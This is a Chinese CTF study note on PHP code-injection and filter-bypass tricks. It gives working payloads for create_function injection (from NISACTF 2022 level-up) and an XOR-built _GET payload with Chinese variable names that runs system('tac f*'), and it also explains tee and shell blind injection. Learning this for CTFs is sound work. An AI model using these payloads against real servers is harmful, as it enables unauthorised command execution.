return可直接执行十六进制

RT,如果放在return后面的语句是十六进制,就会先转换成可执行命令(maybe)

函数可运算

比如1-phpinfo()-1这种语法其实是允许的,返回的内容因为函数本身返回值是1,所以结果是-1。并且phpinfo()可被执行

create_function()创建匿名函数

流程如下

但是可能看起来比较不好懂,再来看下面这个

create_function()会创建一个匿名函数(lambda样式)

create_function()函数会在内部执行 eval(),我们发现是执行了后面的return语句,属于create_function()中的第二个参数string $code位置。

因此create_function函数等价于

<?php
function lambda1($a,$b){
    return "ln($a) + ln($b) = " . log($a * $b);
}
?>

下面来看一个例子([NISACTF 2022]level-up)

<?php
error_reporting(0);
include "str.php";

$a = $_GET['a'];
$b = $_GET['b'];
if(preg_match('/^[a-z0-9_]*$/isD',$a)){
    show_source(__FILE__);
}
else{
    $a('',$b);
}

构造payload的时候,注意正则匹配
preg_match('/^[a-z0-9_]*$/isD',$a,说明我们在构造payload的时候第一个字母不能为数字或者字母,所以我们需要绕过正则,这里要用\(转义符绕过,构造payload:

?a=\create_function&b=return 'Leaf';}phpinfo();/*

解释一下上面的payload:

\的作用是绕过正则匹配preg_match,第一个;是让return 语句结束(其实也可以不用谢这句return,直接写后面的花括号),}的作用是让create_function语句闭合,然后执行phpinfo();后面要加/*是为了让最后的}被注释掉来保证phpinfo()正常执行

中文变量名

对于下面这样的过滤如果束手无策

if(preg_match("/[A-Za-z0-9_\%\\|\~\'\,\.\:\@\&\*\+\- ]+/",$code))

就可以考虑用中文名来命名变量。(可能你会觉得这很不可思议,但在php里确实是允许的)

payload如下

$哈="{{{"^"?<>/";${$哈}[哼](${$哈}[嗯]);&哼=system&嗯=tac f* 

其中,"{{{"^"?<>/";的结果是_GET

tee

这个命令类似echo ... >,可以把...的内容写入到对应文本中。一般是配合管道使用,例如ls / |tee 1,作用就是把ls列出来的内容存入到1这个文件里。如果在进行网站敏感信息读取,访问1就能下载这个文件

php的类函数调用

php的类使用其实类似C++,比如ctf类中有个getflag函数,配合 call_user_func()或者eval()可以直接用

shell盲注

和SQL盲注类似,[awk](https://www.runoob.com/linux/linux-comm-awk.html)命令可以截取字符串,[cut](https://www.runoob.com/linux/linux-comm-cut.html)命令可以截取单个字符输出。结合shell编程里的if和sleep等命令就能判断正误。例如下面这样